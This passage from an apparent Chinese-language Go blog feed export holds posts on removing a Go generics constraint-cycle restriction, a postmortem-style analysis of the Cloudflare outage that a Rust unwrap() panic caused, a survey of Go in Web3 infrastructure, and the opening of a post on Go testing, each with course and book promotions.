(type parameter) R。 * 此时，scale 函数的约束被临时实例化为 Ring[MyInt]。 第二步：约束校验 (Verification) * 现在，编译器需要校验：**类型实参 MyInt 是否满足其约束 Ring[MyInt]？** * 要满足 Ring[MyInt]，MyInt 必须实现 Ring[MyInt] 接口中定义的所有方法。让我们来逐一检查： * Zero() MyInt：MyInt 实现了 Zero() MyInt。**满足。** * One() MyInt：MyInt 实现了 One() MyInt。**满足。** * Add(y MyInt) MyInt：MyInt 实现了 Add(y MyInt) MyInt。**满足。** * Mul(y MyInt) MyInt：MyInt 实现了 Mul(y MyInt) MyInt。**满足。** * 由于 MyInt 完整地实现了 Ring[MyInt] 接口，约束校验**通过**。 * 编译器确认此次泛型函数调用是合法的，并生成相应的代码。 这个过程与我们在第四章中看到的那个非法的 T[P T[P]] int 示例形成了鲜明对比。在这里，MyInt 是一个接口实现者，它能够满足由其自身参与定义的接口约束，从而构成了一个有效的、有穷的递归。\n小结：Go 泛型的一次重要进化 移除泛型类型参数的循环引用限制，对于 Go 语言而言，远不止是修复了一个编译器 bug 或减少了一条规则。\n对开发者而言：它解锁了一种全新的、更强大、更类型安全的泛型编程模式。我们将能够构建出表达力更强、性能更高、API 更简洁的通用库和数据结构。 对语言本身而言：这是 Go 泛型走向成熟的一次重要进化。它表明 Go 团队正在持续地、审慎地打磨泛型这一新特性，使其在保持 Go 哲学的基础上，逐步释放其全部潜能。 不过，CRTP 模式对于不熟悉的开发者来说，也确实存在一定的认知门槛。\n目前，该cl已经合并到主线，大家可以在go playground的go dev branch版本下体验。\n资料链接：https://github.com/golang/go/issues/75883\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/19/proposal-remove-cycle-restriction-for-type-parameters/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-remove-cycle-restriction-for-type-parameters-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/19/proposal-remove-cycle-restriction-for-type-parameters\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/19/proposal-remove-cycle-restriction-for-type-parameters\"\u003ehttps://tonybai.com/2025/11/19/proposal-remove-cycle-restriction-for-type-parameters\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e自 Go 1.18 引入泛型以来，Gopher 们一直在探索其能力的边界。然而，在这片新大陆上，一直存在着一个由语言规范施加的限制，它禁止了一种强大而富有表达力的泛型模式的实现。\u003c/p\u003e","title":"Go 泛型再进化：移除类型参数的循环引用限制"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/19/cloudflare-18-november-2025-outage\n大家好，我是Tony Bai。\n2025 年 11 月 18 日，世界标准时间(UTC) 11:20，支撑着全球大量互联网流量的 Cloudflare 网络开始出现严重故障。无数网站和应用的用户，开始频繁地看到那令人心悸的“Internal Server Error (500)”页面。一场席卷全球的互联网宕机事件，就此拉开序幕。\n事后，Cloudflare 发布了一份极其详尽、坦诚的故障复盘报告。报告揭示了一个令人震惊、也极具讽刺意味的事实：这场灾难的最终扳机，竟然是新一代代理引擎FL2 中(这里仅针对文中提及的新引擎FL2，受影响的旧引擎FL文中并未提及具体原因)，一段本应代表“内存安全”的 Rust 代码中的 unwrap() 调用。\n这起事件，如同一颗投入平静湖面的巨石，激起了关于 Rust 安全模型、系统复杂性、以及“快速失败”哲学的层层涟漪。它迫使我们重新审视一个根本性问题：我们所追求的“内存安全”，真的能让我们高枕无忧吗？\n故障的多米诺骨牌：从一个权限变更开始 Cloudflare 的报告清晰地描绘了一条如多米诺骨牌般精准倒下的故障链。令人惊叹的是，这一切的源头，并非黑客攻击，也不是硬件故障，而是一次看似无害的内部变更：\n源头：ClickHouse 数据库权限变更 (11:05 UTC) 为了提升查询安全性和可靠性，Cloudflare 的工程师对 ClickHouse 数据库集群进行了一次权限变更。\n第一个意外：重复的元数据 这次变更意外地导致了一个用于生成“特征文件”(feature file) 的元数据查询（SELECT name, type FROM system.columns WHERE table = …）开始返回重复的列名。因为该查询忘记了按数据库名进行过滤，而新的权限让它看到了底层 r0 数据库中的重复表结构。\n第二个意外：配置文件体积翻倍 这个“特征文件”是 Cloudflare 机器人管理 (Bot Management) 系统机器学习模型的核心输入。由于元数据查询返回了双倍的行数，最终生成的特征文件体积也翻了一倍，从约 60 个特征，激增到了超过 200 个。\n第三个意外：触发预分配内存上限 为了极致的性能，Cloudflare 的核心代理服务（包括基于 Rust 的新一代引擎 FL2）会在启动时，为机器人管理模块预分配一块固定大小的内存，用于加载这个特征文件。这个预分配的上限被设置为 200 个特征。\n最终扳机：Rust 代码中的 unwrap() 恐慌 (Panic) 当那个体积翻倍的、包含超过 200 个特征的“毒丸”配置文件，被分发到全球的 FL2 服务器上时，灾难发生了。负责加载特征的 Rust 代码，在尝试将超过 200 个特征塞入预分配的 200 大小的缓冲区时，append_with_names 方法返回了一个 Err 结果。然而，调用这段代码的地方，却简单粗暴地使用了 unwrap()。\n// Cloudflare 报告中展示的 Rust 代码片段 let (feature_values, _) = features .append_with_names(\u0026amp;self.config.feature_names) .unwrap(); // \u0026lt;- BOOM! unwrap() 的行为是：如果结果是 Ok(value)，则返回 value；如果结果是 Err(error)，则立即让当前线程 panic（恐慌）。\n雪崩：5xx 错误与全球宕机 工作线程的 panic，导致了一个未处理的错误。这个错误迅速向上传播，最终导致核心代理系统无法处理依赖于机器人管理模块的流量，并开始向上游返回大量的 HTTP 5xx 错误。多米诺骨牌全部倒下，全球大范围的互联网服务因此中断。\nRust 安全模型的反思：“内存安全”≠“永不崩溃” 这起事件，是对 Rust 安全模型的一次深刻、也是痛苦的“压力测试”。Rust 最引以为傲的“卖点”——内存安全——在这场灾难中，既是“英雄”，也是“恶棍”。\n英雄之处：它精确地阻止了更坏的情况 Rust 在这里所做的一切，完全符合其设计哲学。append_with_names 方法正确地检测到了缓冲区溢出的风险，并通过返回一个 Err，阻止了一次潜在的内存损坏。如果这段代码是用 C++ 编写的，一个类似的错误可能会导致缓冲区溢出、数据损坏、甚至远程代码执行等更严重、更难以追踪的安全漏洞。\nRust 成功地将一个未定义的、危险的内存行为，转化为了一个已定义的、可预测的程序崩溃。\n恶棍之处：“快速失败”的哲学真的普适吗？ 然而，问题恰恰出在 unwrap() 这个“捷径”上。unwrap() 和它的兄弟 expect()，是 Rust “快速失败”(Fail-fast) 哲学的体现。它们背后的假设是：“我相信这种情况永远不会发生，如果发生了，那就是一个程序员无法恢复的、灾难性的逻辑错误，整个程序应该立刻死掉，而不是带着错误的状态继续运行。”\nCloudflare 的工程师们，显然也相信“特征文件永远不会超过 200 个”。\n这次事件血淋淋地告诉我们：\n在分布式系统中，你所做的“永不发生”的假设，几乎总会在某个时刻、以一种你意想不到的方式被打破。 unwrap() 是一把极其锋利的双刃剑。它在原型开发、测试代码、或处理那些真正代表“程序不变量被破坏”的场景时非常有用。但将其用于处理任何**可能由外部输入（即使是内部系统的“外部输入”）**而失败的操作，都是在埋下一颗定时炸弹。 Rust 的内存安全，并不能替代全面的错误处理和系统韧性设计。 它只能保证你的程序“死得干净”，而不能保证它“不死”。 更深层次的教训：超越语言的“系统性失败” 将锅完全甩给 Rust 或 unwrap() 是不公平的。这场宕机，是一次典型的、由多个层面小失误共同导致的系统性失败 (Systemic Failure)。\n数据库查询的脆弱性：那个元数据查询，为何如此脆弱，以至于一次权限变更就能使其输出加倍？它缺乏对数据库名的过滤，这是一个早已存在的隐患。 配置发布的“零校验”：一个体积异常的配置文件，为何能在没有任何校验和告警的情况下，被迅速分发到全球网络？配置发布管道缺乏基本的“理智检查”。 边界条件的“想当然”：为什么预分配的内存上限是 200？这个“魔法数字”背后的假设是什么？当假设被打破时，为什么没有一个优雅的降级方案（如拒绝加载新配置，继续使用旧配置），而是直接崩溃？ 故障域的耦合：机器人管理模块的一次“错误”的特征文件生成，为何能导致核心代理的瘫痪，并进一步影响到 Workers KV 和 Access 等看似不相关的服务？这暴露了系统各组件之间过紧的故障耦合。 小结：废墟之上，我们学到了什么？ Cloudflare 的这次全球宕机，为整个软件行业都上了一堂极其昂贵的公开课。对于 Rust 社区而言，它提醒我们，Result\u0026lt;T, E\u0026gt; 和完善的 match 模式，才是处理可恢复错误的王道，而 unwrap() 应该像 unsafe 关键字一样，被审慎地、有意识地使用。\n但更重要的是，它告诉我们，没有任何一门语言，无论其内存安全模型多么先进，能够将我们从系统性思考的责任中解救出来。构建可靠的、有韧性的分布式系统，是一项超越任何特定语言的、需要防御性编程、纵深防御、以及对“墨菲定律”抱有永恒敬畏的综合性工程挑战。\nCloudflare 在废墟之上，承诺将“加固配置文件的摄入”、“增加全局熔断开关”、“消除核心转储压垮资源的可能性”。这些，才是比争论“unwrap() 是否邪恶”更有价值的、真正能让我们从这次灾难中变得更强大的教训。\nCloudflare的故障复盘报告：https://blog.cloudflare.com/18-november-2025-outage/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/19/cloudflare-18-november-2025-outage/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/cloudflare-18-november-2025-outage-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/19/cloudflare-18-november-2025-outage\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/19/cloudflare-18-november-2025-outage\"\u003ehttps://tonybai.com/2025/11/19/cloudflare-18-november-2025-outage\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2025 年 11 月 18 日，世界标准时间(UTC) 11:20，支撑着全球大量互联网流量的 Cloudflare 网络开始出现严重故障。无数网站和应用的用户，开始频繁地看到那令人心悸的“Internal Server Error (500)”页面。一场席卷全球的互联网宕机事件，就此拉开序幕。\u003c/p\u003e","title":"一次 unwrap() 引发的全球宕机：Cloudflare 故障报告背后的 Rust 安全反思"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/18/go-web3-dominance-overview-2025\n大家好，我是Tony Bai。\n截至 2025 年末，Go 语言 (Golang) 作为基础设施主导语言 (Infrastructure Dominance Language)，在 Web3 生态系统中的地位已然根深蒂固。Go 的架构特性——特别是其内置的并发模型、简单的语法以及继承自云基础设施领域的强大工具链——使其对于运行在链下或核心网络层的、任务关键型、高吞吐量的系统而言，是不可或缺的。\n本文旨在系统性地剖析 Go 语言在 Web3 领域的“统治力”从何而来，将向何处去。我们的核心发现证实了 Go 在几个关键领域不可动摇的地位：\n客户端弹性： Go 支撑了以太坊的主要客户端 go-ethereum (Geth)，为这个最大的智能合约平台带来了制度性的稳定性。 应用链架构： Go 通过 Cosmos SDK 主导了模块化和主权链的范式，使其在互操作性的未来中占据中心位置。 中间件编排： Go 是 API 网关、交易中继器、预言机(Oracle)节点（如 Chainlink, The Graph）以及索引服务的核心“引擎”。 尽管由于其有保证的内存安全性，Rust 在新型高性能 Layer 1 (L1) 运行时的开发中对 Go 构成了挑战，但 Go 卓越的开发速度、成熟的分布式系统库以及更低的企业采用门槛，巩固了其在水平扩展和快速部署方面的持续必要性。\n1. 引言：Go 在去中心化系统中的演进 1.1 从 Web1 到 Web3：一个去中心化的演进 在深入探讨 Go 的角色之前，理解 Web3 的历史背景至关重要。互联网的演进大致可分为三个阶段：\nWeb 1.0 (只读网络)：以静态 HTML 页面为主，用户主要是信息的消费者。 Web 2.0 (读写网络)：以社交媒体和用户生成内容为标志，但用户的身份和数据都掌握在中心化平台手中。 Web 3.0 (读-写-拥有网络)：旨在通过区块链技术，将数据和数字资产的所有权归还给用户。 图来自https://chain.link/education/web3 Go 语言的崛起，恰好与 Web3 从概念走向大规模基础设施建设的阶段相吻合，并在其中扮演了至关重要的角色。\n1.2 Go 在区块链 1.0 和 2.0 中的历史足迹 区块链 1.0 (比特币时代)：在以比特币为代表的、专注于“点对点电子现金”的时代，Go 并非中心。其参考实现 Bitcoin Core 是用 C++ 编写的。\n区块链 2.0 (以太坊时代)：以太坊引入了智能合约和通用计算能力，这要求高度可用且稳健的客户端软件。Go 的关键切入点是 go-ethereum (Geth) 项目。Geth 迅速成为以太坊客户端实现的标杆，并凭借其持续的开发势头和稳定性，成为了事实上的标准实现。这一历史基础巩固了 Go 作为以太坊生态系统核心骨干主要工程语言的地位，提供了一层从其早期成功中继承而来的制度性信任与稳定性。\n2. 剖析“统治力”：我们从哪里寻找答案？ 要理解 Go 为何能在 Web3 基础设施领域占据如此重要的地位，我们不能仅仅停留在“Go 很棒”这样的表面结论上。我们需要像剥洋葱一样，层层深入，从不同的维度寻找答案。\n在本文的分析中，我们将从三个关键视角出发，来共同构建一幅关于 Go 在 Web3 中角色的全景图：\n审视核心项目与定位 (协议分析)：我们将深入到 Web3 世界的“引擎室”，去考察那些用 Go 构建的、具有里程碑意义的核心项目（如以太坊的 Geth 和 Cosmos SDK）。通过分析它们在生态系统中所扮演的角色和解决的核心问题，我们可以找到 Go 语言特性与 Web3 基础设施需求之间最直接的联系。\n审视竞争与权衡 (竞争格局)：任何技术选型都是一场权衡。我们将把 Go 放在聚光灯下，与它在系统编程领域最强大的竞争对手——Rust——进行一次坦诚的对比。通过分析它们各自的优势（Go 的并发与开发速度 vs. Rust 的内存安全与绝对性能），我们可以更清晰地理解 Go 在 Web3 生态中所占据的、不可替代的“生态位”。\n放眼未来与趋势 (市场情报)：技术的发展离不开市场的驱动。我们将目光投向 Web3 中增长最快的新兴领域，如 DePIN（去中心化物理基础设施网络）和 AI 与 DeFi 的融合，并评估 Go 在这些未来战场上的战略价值和相关性。\n通过这三个维度的交叉验证，我们希望能为你揭示 Go 在 Web3 统治力背后，那些不为人知的、深层次的原因。\n3. 统治力的基石：Geth 的制度性信任与 Cosmos 的生态扩张 3.1 核心客户端弹性与制度性信任 以太坊网络的稳定性直接取决于其客户端实现的弹性，其中 Geth 仍然至关重要。目前构建 Geth 需要 Go 1.23 或更高版本。Geth 项目提供的全面工具套件，展示了 Go 在管理和维护以太坊虚拟状态方面的深度和活跃角色。\nGeth 的持续成功，为 Go 语言带来了高度的制度性信任。随着机构投资者和受监管实体进入加密货币领域，依赖一种成熟的、企业友好的、驱动核心 L1 客户端的语言（Go）成为了一项关键的战略选择。\n背景知识：区块链分层 (Layers) 为了理解 Go 的生态位，我们需要了解区块链的分层结构：\nLayer 1 (L1)：基础层，即区块链本身（如以太坊、比特币）。它负责网络的安全和最终的交易确认，但通常速度较慢、费用较高。 Layer 2 (L2)：构建在 L1 之上的扩展层（如 Arbitrum, Optimism）。它们通过将大部分计算和交易移至链下处理，来提高速度、降低费用，同时将其安全性锚定在 L1 上。 Layer 3 (L3)：应用层，通常构建在 L2 之上，为特定应用提供更定制化的功能。 尽管 L2 现在承载了以太坊大部分的经济活动，但连接这些 L2 回到 L1 安全层的基础通信、排序和桥接基础设施，频繁地依赖于 Go。这是因为 Go 在处理可靠的跨层通信所需的高吞吐量网络编排方面非常有效。\n3.2 Cosmos 生态系统：Go 的应用链策略 Go 在通过 Cosmos 生态系统开创“区块链互联网”愿景方面，找到了第二个同样关键的专业领域。\nCosmos SDK 是一个完全用 Go 编写的开源框架，使开发者能够构建自定义的、主权的“应用链”(app-chains)。Go 为 Cosmos 生态系统提供了模块化的骨干，特别是至关重要的跨链通信 (Inter-Blockchain Communication, IBC) 模块。随着行业对互操作性的需求日益增长，Go 已然成为在 EVM 环境之外，扩展模块化、多链生态系统的主要载体。\n3.3 成熟的工具链与企业并发之桥 Go 从云和分布式系统架构成熟过程中（以 Docker 和 etcd 等项目为代表）锻造出的、成熟而广泛的生态系统中获益匪浅。这为 Web3 项目提供了稳健的、企业级的链下后端需求工具。\nGo 的简单并发模型和可读语法，为从传统企业后端转向专业 Web3 基础设施角色的开发者，创造了摩擦力最低的桥梁。企业可以无缝地将在通用 IT 领域积累的 Go 人才和代码库，转移到专业的 Web3 中间件、内部节点和 API 层，从而极大地加速了机构的采用。\n4. 统治力的体现：Go 在网络层、中间件与新兴领域的架构优势 4.1 基础设施：网络节点层 Go 在 Web3 中的根本优势在于其对 P2P 网络通信的稳健和高效处理，这主要归功于其原生的并发特性——Goroutines。在 Geth 中，服务器为每个连接的对等节点创建一个独立的、廉价的 goroutine，并发地处理所有网络交互，从而确保了高吞吐量和稳定性。\n架构权衡：Go 的自动内存管理（垃圾回收, GC）简化了开发，但也可能引入延迟。Go 团队持续专注于 GC 的优化，例如 Go 1.25 中引入的 “Green Tea” 算法，就是为了在高并发应用中提供可预测的、低延迟的 GC。Go 与 Rust 的选择，通常是可预测的吞吐量 (Go) 与绝对的峰值速度 (Rust) 之间的权衡。\n4.2 中间件：API 网关与数据编排 Go 是所有关键链下基础设施久经考验的“引擎”，包括 API 平台、交易中继器、监控代理等。特别是对于预言机 (Oracle) 和索引 (Indexing) 基础设施，Go 的能力至关重要：\nThe Graph： 其索引基础设施的核心组件，使用非常适合 Go 架构的分布式系统范式构建。 Chainlink： 其节点在其网络栈和数据处理管道中广泛使用 Go，以实现与外部数据源的高度并发交互。 AI-DeFi 的交汇点 一个主要趋势是将人工智能（AI）积极整合到 DeFi 中。这些 AI 智能体需要一个高并发的“大脑”来处理实时数据流并执行交易。Go 在数据编排方面的既有主导地位，战略性地使其成为托管和管理这些高频 AI 智能体的主要运行时环境。\n4.3 新兴应用：DePIN 去中心化物理基础设施网络 (DePIN) 领域预计将经历急剧增长。DePIN 的架构要求——高效的网络通信、大规模分布式节点的管理、简化的运维——与 Go 语言在云原生领域（Kubernetes）所解决的问题几乎完全相同。因此，预计 Go 将成为 DePIN 项目复杂网络层的默认语言。\n5. 竞争格局：Go vs. 竞争语言 5.1 Go vs. Rust：基础设施之争 Go 与 Rust 的竞争，定义了 Web3 基础设施的架构决策。这不是“好”与“坏”的选择，而是基于关键需求的抉择：部署速度和简单性 (Go) vs. 绝对的安全和性能 (Rust)。\n这场竞争导致了明确的市场细分：\nRust 正在L1 核心运行时开发领域获得主导地位，在这些领域，有保证的内存安全是不可协商的。 Go 则在L1/L2 客户端维护和 L2/L3 中间件领域保持主导地位。 最具战略优势的技术栈，会结合使用这两种语言：Rust 用于最深层的、安全关键的层面，而 Go 用于更广泛的、提供可扩展性和可访问性的高并发分布式系统封装层。\n表1：Go vs. Rust 架构权衡对比分析\n5.2 Go vs. Solidity/EVM 语言 Go 和 Solidity 并非竞争关系，它们在技术栈中占据不同的功能空间。Solidity 是用于创建链上逻辑的专门语言。Go 的价值在于，通过 Geth 生态系统中的 abigen 等工具，能够生成类型安全的 Go 绑定，实现 Go 链下服务与已部署合约逻辑之间稳健、安全的通信。\n6. 结论与战略展望 6.1 “统治力”的根源与未来 Go 在 Web3 生态系统中的地位，由基础设施领域的深耕与战略性扩张所定义。它的“统治力”，并非偶然，而是其核心架构优势——成熟的高吞吐量并发模型和企业友好的简单性——在 Web3 场景下的必然体现。\n在核心以太坊客户端维护方面的持续投入，以及在模块化应用链范式（Cosmos SDK）中对 Go 的战略选择，都展示了其韧性。此外，其在 DePIN 和 AI 编排等新兴高增长领域的直接适用性，保证了其持续的相关性。对于优先考虑水平可扩展性、快速部署和稳定网络运营的工程师来说，Go 仍然是最务实的选择。\n6.2 技术选型战略性建议 (2026+) 优先选择 Go 以实现连接与扩展： 所有 Web3 基础设施层，如 API 网关、数据索引服务、交易中继器等，应继续锚定在 Go 上。 拥抱架构细分： 认识到最优的技术栈可能是混合的。构建新 L1 核心运行时应审慎评估 Rust，而外部工具和网络层应默认选择 Go。 利用 Go 开展应用链计划： 对于希望推出自定义主权链的企业，用 Go 编写的 Cosmos SDK 提供了最快、最稳健的路径。 缓解 GC 延迟： 在低延迟环境中运行的 Go 服务，利用诸如 Go 1.25+ 改进的 GC 功能，并采用全面的性能分析来最小化延迟峰值。 表2：Go 在 Web3 子领域的预测势头 (2026 – 2028)\n6.3 关于 Go 长期轨迹的最终预测 Go 在去中心化经济中的长期轨迹，并非由赢得 L1 共识层之战来定义，而是由主导集成和扩展层来定义。随着 Web3 范式进一步向模块化、应用特定 rollups 以及物理基础设施的整合转变，对高吞吐量、并发和易于部署的连接组织的需求将加剧。Go 仍将是分布式系统工程师的默认、务实选择，确保其在未来很长一段时间内，作为 Web3 基础设施关键基础的持续地位。\n注：Rollup 是一种 Layer 2 扩展技术。它的基本工作原理是将成百上千笔交易在链下 (off-chain) 执行和“打包”（roll up），然后只将一个压缩后的、证明这些交易有效性的数据摘要，提交回到底层的 Layer 1（如以太坊）上。这样做极大地降低了 L1 的负担，从而实现了更快、更便宜的交易。\n注：本文借助AI大模型的联网搜索获取和整理相关最新资料(见参考资料列表)。\n参考资料 Go implementation of the Ethereum protocol - GitHub, https://github.com/ethereum/go-ethereum Exploring Cosmos SDK for Web3 Development, https://hashtagweb3.com/exploring-cosmos-sdk-for-web3-development The Future of Blockchain: Trends We Expect in 2025 and Beyond, https://londonblockchain.net/blog/blockchain-in-action/the-future-of-blockchain-trends-we-expect-in-2025-and-beyond/ Best Web3 Programming Languages in 2025 - Alchemy, https://www.alchemy.com/overviews/web3-programming-languages Chainlink Quarterly Review: Q3 2025, https://blog.chain.link/quarterly-review-q3-2025/ Edge \u0026amp; Node’s October / November 2025 Update - The Graph Forum, https://forum.thegraph.com/t/edge-nodes-october-november-2025-update/6752 Rust vs Go — What to choose while developing a blockchain app - Litslink, https://litslink.com/blog/rust-vs-go-for-blockchain Rust vs Go: Which one to choose in 2025 | The RustRover Blog, https://blog.jetbrains.com/rust/2025/06/12/rust-vs-go/ avelino/awesome-go: A curated list of awesome Go frameworks, libraries and software - GitHub, https://github.com/avelino/awesome-go State of Crypto 2025: The year crypto went mainstream, https://a16zcrypto.com/posts/article/state-of-crypto-report-2025/ What are the key DeFi trends to look out for in Q4 2025? - AMBCrypto, https://eng.ambcrypto.com/what-are-the-key-defi-trends-to-look-out-for-in-q4-2025/ What is the history of blockchain? - Avalanche Support, https://support.avax.network/en/articles/4587339-what-is-the-history-of-blockchain Blockchain 1.0 Definition - CoinMarketCap, https://coinmarketcap.com/academy/glossary/blockchain-1-0 Chapter 3: Ethereum Clients · GitBook, https://cypherpunks-core.github.io/ethereumbook/03clients.html Why Golang was chosen to implement ethereum protocol?, https://ethereum.stackexchange.com/questions/155183/why-golang-was-chosen-to-implement-ethereum-protocol Charting Crypto Q4 2025: Navigating Uncertainty | Coinbase Institutional, https://www.coinbase.com/en-gb/institutional/research-insights/research/insights-reports/charting-crypto-q4-2025 It’s survey time! How has Go has been working out for you? - The Go …, https://go.dev/blog/survey2025-announce I have written a short writeup of how geth’s network processing works and I’m looking for someone to verify that it is indeed correct - Ethereum Magicians, https://ethereum-magicians.org/t/i-have-written-a-short-writeup-of-how-geths-network-processing-works-and-im-looking-for-someone-to-verify-that-it-is-indeed-correct/8994 Learn | Explore the SDK - Cosmos SDK, https://docs.cosmos.network/v0.50/learn Why is infrastructure mostly built on go?? : r/golang - Reddit, https://www.reddit.com/r/golang/comments/1eg8l9m/why_is_infrastructure_mostly_built_on_go/ What “mature” Go libraries/frameworks are available that companies can put their trust in? : r/golang - Reddit, https://www.reddit.com/r/golang/comments/7r9aof/what_mature_go_librariesframeworks_are_available/ Expert Predictions About Cryptocurrency: What to expect in 2025 and Beyond, https://cryptoresearch.report/crypto-research/expert-predictions-about-cryptocurrency-what-to-expect-in-2025-and-beyond/ Choosing the Right Language for Web3: Solidity vs Rust vs Go - GeeksforGeeks, https://www.geeksforgeeks.org/solidity/choosing-the-right-language-for-web3-solidity-vs-rust-vs-go/ Golang vs Rust: Which Language Wins for Backend in 2025? - Netguru, https://www.netguru.com/blog/golang-vs-rust The Hidden Trade-offs of Go: Understanding Its Limitations | by Charles Wan - Medium, https://charleswan111.medium.com/the-hidden-trade-offs-of-go-understanding-its-limitations-6107ab2ce387 Tracing Go’s Garbage Collection Journey: Reference Counting, Tri-Color, and Beyond, https://hackernoon.com/tracing-gos-garbage-collection-journey-reference-counting-tri-color-and-beyond Blockchain Dev Tools Guide: Best IDEs, SDKs \u0026amp; APIs for 2025 - Webisoft, https://webisoft.com/articles/blockchain-development-tools/ The Ultimate Tech Stack for Blockchain Developers in 2025 | by Kelley Kinney - Medium, https://medium.com/@kelleymj/the-ultimate-tech-stack-for-blockchain-developers-in-2025-5b16c79390ec (DePIN): A Comprehensive Guide | 2024 - Rapid Innovation, https://www.rapidinnovation.io/post/depin-the-ultimate-guide-to-decentralized-physical-infrastructure-networks Solidity vs Rust vs Go: The Best Programming Language for Blockchain Development, https://www.codezeros.com/solidity-vs-rust-vs-go-the-best-programming-language-for-blockchain-development 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/18/go-web3-dominance-overview-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-web3-dominance-overview-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/18/go-web3-dominance-overview-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/18/go-web3-dominance-overview-2025\"\u003ehttps://tonybai.com/2025/11/18/go-web3-dominance-overview-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e截至 2025 年末，Go 语言 (Golang) 作为\u003cstrong\u003e基础设施主导语言 (Infrastructure Dominance Language)\u003c/strong\u003e，在 Web3 生态系统中的地位已然根深蒂固。Go 的架构特性——特别是其内置的并发模型、简单的语法以及继承自云基础设施领域的强大工具链——使其对于运行在链下或核心网络层的、任务关键型、高吞吐量的系统而言，是不可或缺的。\u003c/p\u003e","title":"Go 在 Web3 的统治力：2025 年架构与生态综述"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/17/go-testing-journey\n大家好，我是Tony Bai。\n我想请大家想象一个场景：\n周五下午五点，你刚刚修复了一个看似无关紧要的 bug，怀着对周末的憧憬，合并了你的代码。CI/CD 流水线一片绿灯，部署顺利完成。\n突然，运维在工作群里 @ 了你：“紧急！新版本上线后，核心的用户注册功能好像挂了！”\n你心里猛地一沉，这个功能你根本没动过，只是修改了它依赖的一个底层工具函数。冷汗开始从额头渗出，你下意识地喃喃自语：“不可能啊，我的单元测试明明都通过了……”\n这个场景，或许你我或多或少都经历过。它引出了一个直击所有工程师灵魂的问题：为什么我们辛辛苦苦写的测试，没能挡住这次线上事故？\n你的测试，是否也只是“看起来很美”？ 在深入探讨之前，不妨和我一起做个小小的“体检”，看看我们的测试代码是否也存在一些“亚健康”状态：\n“晴天”的信徒： 